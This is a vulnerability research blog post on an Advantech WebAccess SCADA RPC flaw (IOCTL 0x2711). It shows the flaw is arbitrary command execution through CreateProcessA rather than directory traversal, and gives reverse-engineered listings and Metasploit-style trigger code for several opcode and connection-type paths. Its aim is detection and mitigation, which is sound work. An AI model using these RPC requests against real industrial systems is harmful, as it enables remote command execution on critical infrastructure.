Contributors: Grant Willcox and Gaurav Baruah
Intro
During our day-to-day research of N-day vulnerabilities at Exodus, we often come across public advisories containing incorrect root cause analysis of the core vulnerability. This blogpost details one such vulnerability in Advantech WebAccess which is a software suite used for managing SCADA environments. Although the vulnerability in question had been analyzed numerous times by multiple researchers, we discovered that every advisory and public exploit incorrectly denoted “directory traversal” as a factor. Therefore, if anyone tried to implement detection guidance for the vulnerability based solely on the public advisory, that detection would be deemed ineffective as it would likely involve scanning for path traversal characters which aren’t even required to exploit the vulnerability.
Additionally, this vulnerability (and several others within Advantech WebAccess) can be reached via multiple paths, a fact which we believe hasn’t been widely addressed by other blogposts/exploits.
Improper Root Cause Analysis
The vulnerability in 0x2711 IOCTL which is reachable over an RPC service had been disclosed twice by the ZDI as ZDI-18-024 and ZDI-18-483 and each time the vulnerability was described as a “directory traversal” vulnerability. It was also claimed to be patched by the vendor in both advisories until Tenable published a blogpost about it being still unpatched.
While the blogpost correctly mentioned that the lpApplicationName was set to NULL and that an attacker controlled string could be eventually passed to the CreateProcessA API as the lpCommandLine parameter, it was surprising to note the use of path traversal characters in the PoC code, given the fact that directory traversal isn’t even required to execute binaries located outside the application’s directory.
Referring to Microsoft’s documentation of the CreateProcessA API, one can observe the following:
“If lpApplicationName is NULL, the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:
- The directory from which the application loaded.
- The current directory for the parent process.
- The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
- The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System.
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.”
From this description it is apparent that no directory traversal is needed to execute a command like ‘calc.exe’. Lets try to visualize the search process using some Metasploit code which triggers calc.exe using RPC opcode 0x1.
1 2 3 4 5 6 | rpcBuffer = NDR.long(connId) + # connection ID NDR.long(0x2711) + # vuln IOCTL NDR.long(0) + NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA() dcerpc_call(0x1, rpcBuffer) |
In the code above one creates an RPC buffer with the connection ID obtained via RPC opcode 0x4, the vulnerable IOCTL code, and the command to execute as a NULL terminated string, which will be passed to CreateProcessA. Once this buffer is created, it will be sent to the vulnerable Advantech WebAccess RPC server using RPC opcode 0x1, at which point a search operation will be conducted to find the location where calc.exe is located. This can be seen in the screenshot below.
Therefore, as a result of CreateProcessA’s behavior, an attacker could either choose to supply the full path to an executable file or provide just the executable filename and Windows would automatically locate and execute that binary based on the criteria given above. As a result, defenders cannot simply rely on detecting the presence of directory traversal characters to determine if the same IOCTL request is being abused for malicious purposes.
This proves that the aforementioned vulnerability can be categorized as an arbitrary command execution vulnerability and no directory traversal is required for its exploitation.
The Vulnerable Code Exists In Two Locations (Not One)
The vulnerable implementation of 0x2711 IOCTL is contained in two binaries, namely drawsrv.dll and viewsrv.dll. Tenable’s analysis only uncovered the implementation in drawsrv.dll and did not cover the vulnerable code located in viewsrv.dll. The alternative code path can be seen in the image below.
The code flow to this branch is the result of a subtle comparison made at 0x404838 within sub_4046D0 as shown below. Within this code, a comparison is made to see whether the connection type associated with a client’s RPC session is of type 0, in which case VsDaqWebService is called, or 2, in which case DsDaqWebService is called.
.text:0040483B test eax, eax ; check connType value
.text:0040483D jnz short check_for_DsDaqWebService
.text:0040483F cmp ebx, 2710h
.text:00404845 jl ioctl_not_in_0x2710_0x4e20_range
.text:0040484B cmp ebx, 4E20h
.text:00404851 jge ioctl_not_in_0x2710_0x4e20_range
.text:00404857 push esi ; proceed to call VsDaqWebService
.text:00404857 ; located further down
.text:00404858 mov ecx, edi
.text:0040485A call sub_4045B0
.text:0040485F test eax, eax
.text:00404861 jz short ioctl_not_in_0x2710_0x4e20_range
.text:00404863 mov eax, [esi+4]
.text:00404866 test eax, eax
.text:00404868 jz short ioctl_not_in_0x2710_0x4e20_range
.text:0040486A mov eax, [esi+8]
.text:0040486D test eax, eax
.text:0040486F jz short ioctl_not_in_0x2710_0x4e20_range
.text:00404871 push offset sub_403190
.text:00404876 mov ecx, [ebp+arg_14]
.text:00404879 push ecx
.text:0040487A mov edx, [ebp+Dest]
.text:0040487D push edx
.text:0040487E mov ecx, [ebp+arg_C]
.text:00404881 push ecx
.text:00404882 mov esi, [ebp+Str1]
.text:00404885 push esi
.text:00404886 push ebx
.text:00404887 mov edx, [ebp+arg_4]
.text:0040488A push edx
.text:0040488B call eax ; VsDaqWebService
.text:0040488D mov ecx, [ebp+arg_1C]
.text:00404890 mov [ecx], eax
.text:00404892 jmp short loc_4048DE
.text:00404894 ; ---------------------------------------------------------------------------
.text:00404894
.text:00404894 check_for_DsDaqWebService: ; CODE XREF: sub_4046D0+16D↑j
.text:00404894 cmp eax, 2
.text:00404897 jnz short ioctl_not_in_0x2710_0x4e20_range
.text:00404899 cmp ebx, 2710h
.text:0040489F jl short ioctl_not_in_0x2710_0x4e20_range
.text:004048A1 cmp ebx, 4E20h
.text:004048A7 jge short ioctl_not_in_0x2710_0x4e20_range
.text:004048A9 push esi ; proceed to call DsDaqWebService
.text:004048A9 ; located further down
.text:004048AA mov ecx, edi
.text:004048AC call sub_4045B0
.text:004048B1 test eax, eax
.text:004048B3 jz short ioctl_not_in_0x2710_0x4e20_range
.text:004048B5 push offset sub_403190
.text:004048BA mov edx, [ebp+arg_14]
.text:004048BD push edx
.text:004048BE mov eax, [ebp+Dest]
.text:004048C1 push eax
.text:004048C2 mov ecx, [ebp+arg_C]
.text:004048C5 push ecx
.text:004048C6 mov esi, [ebp+Str1]
.text:004048C9 push esi
.text:004048CA push ebx
.text:004048CB mov edx, [ebp+arg_4]
.text:004048CE push edx
.text:004048CF call DsDaqWebService
It can also be seen that the code handling the vulnerable 0x2711 IOCTL in both binaries look nearly identical.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | int __stdcall VsDaqWebService(int a1, int IOCTL, char *controlledBuffer, int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7) { .... switch ( IOCTL ) { case 0x2710: v8 = (HWND)sub_10003DD0(controlledBuffer); goto LABEL_236; case 0x2711: sub_10006B80(); v7 = sub_10003E40(controlledBuffer, *((_DWORD *)controlledBuffer + 128)); .... ------------------------------------------------------- DWORD __cdecl sub_10003E40(LPSTR lpCommandLine, __int16 a2) { struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h] struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h] memset(&StartupInfo.lpReserved, 0, 0x40u); StartupInfo.cb = 68; GetStartupInfoA(&StartupInfo); StartupInfo.wShowWindow = a2; if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) return 0; WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF); CloseHandle(ProcessInformation.hProcess); CloseHandle(ProcessInformation.hThread); return ProcessInformation.dwProcessId; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | int __stdcall DsDaqWebService(int a1, int IOCTL, char *controlledBuffer, unsigned int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7) { .... switch ( IOCTL ) { case 0x2710: v8 = sub_10001740(controlledBuffer); goto LABEL_258; case 0x2711: v133 = controlledBuffer; sub_10004180(); v7 = sub_100017B0(controlledBuffer, *((_DWORD *)controlledBuffer + 128)); .... ------------------------------------------------------- DWORD __cdecl sub_100017B0(LPSTR lpCommandLine, __int16 a2) { struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h] struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h] memset(&StartupInfo.lpReserved, 0, 0x40u); StartupInfo.cb = 68; GetStartupInfoA(&StartupInfo); StartupInfo.wShowWindow = a2; if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) return 0; WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF); CloseHandle(ProcessInformation.hProcess); CloseHandle(ProcessInformation.hThread); return ProcessInformation.dwProcessId; } |
Interestingly, the value on which the comparison is being performed comes from a different request and not the 0x2711 IOCTL request itself. This other request based on RPC opcode 0x4 has been described in detail by previous research such as ZDI’s. Instead of repeating the same analysis, it would suffice to say that the value being compared results from the connType value supplied as part of the request, as can be seen in the listing of opcode 0x4 as shown below.
1 2 3 4 5 6 7 | /* opcode: 0x04, rpcsrv_conn_append */ void sub_4017A0 ( [in] handle_t hBinding, [in] long connType, [out][ref][size_is(4)] char * arg_3, [out][ref] long * connId ); |
As a result, an attacker can target the vulnerable code in both binaries just by changing the connType value as can be seen in the Metasploit code shown below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | # Trigger CreateProcessA() in viewsrv.dll handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) dcerpc_bind(handle) connType = NDR.long(0x0) return_buf = dcerpc_call(0x4, connType) unk1, unk2, connId = return_buf.unpack("L*") rpcBuffer = NDR.long(connId) + # connID NDR.long(0x2711) + # vuln IOCTL NDR.long(0) + NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA() dcerpc_call(0x1, rpcBuffer) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | # Trigger CreateProcessA() in drawsrv.dll handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) dcerpc_bind(handle) connType = NDR.long(0x2) return_buf = dcerpc_call(0x4, connType) unk1, unk2, connId = return_buf.unpack("L*") rpcBuffer = NDR.long(connId) + # connID NDR.long(0x2711) + # vuln IOCTL NDR.long(0) + NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA() dcerpc_call(0x1, rpcBuffer) |
Finding Other Paths To Trigger The Vulnerability
While reviewing other publically documented RPC vulnerabilities in Advantech WebAccess, we discovered that the usual trend was to trigger the vulnerability using one specific RPC opcode, while in reality it could triggered using multiple opcodes. This doesn’t bode well for defenders as an attacker could trigger the same vulnerability using a different opcode and thereby bypass the signature meant to trigger on a specific opcode request.
The arbitrary command execution vulnerability in 0x2711 IOCTL is also reachable over opcode 0x0, in addition to opcode 0x1 as shown in earlier code. The modified code to trigger it using opcode 0x0 is shown below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | # Triggering CreateProcessA() in viewsrv.dll using opcode 0x0 handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) dcerpc_bind(handle) connType = NDR.long(0x0) return_buf = dcerpc_call(0x4, connType) unk1, unk2, connId = return_buf.unpack("L*") rpcBuffer = NDR.long(connId) + # connID NDR.long(0x2711) + # IOCTL NDR.long(0) + NDR.UniConformantArray("calc.exe\00") + # string passed to CreateProcessA() NDR.long(0) dcerpc_call(0x0, rpcBuffer) |
Mitigation
Users of Advantech WebAccess are advised to set a Remote Access Code during the installation to protect the RPC service from unauthorized requests. The screen for setting up the code is outlined below.
Additionally, users can setup a remote access code per project as shown below.
Conclusion
It should be apparent by now that keeping up-to-date on patches from a vendor or relying on public advisories isn’t good enough. One needs to dig deep into a patch and analyse it to know if it actually fixed the vulnerability it was supposed to patch. Furthermore, all paths leading up to the vulnerable code need to be analysed in order for companies to provide complete detection for a vulnerability.
The information mentioned in this blogpost has been available to our N-day feed subscribers since January 2018 when the first public advisory about the vulnerability was released. It has enabled them to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor and the lack of correct information in public advisories.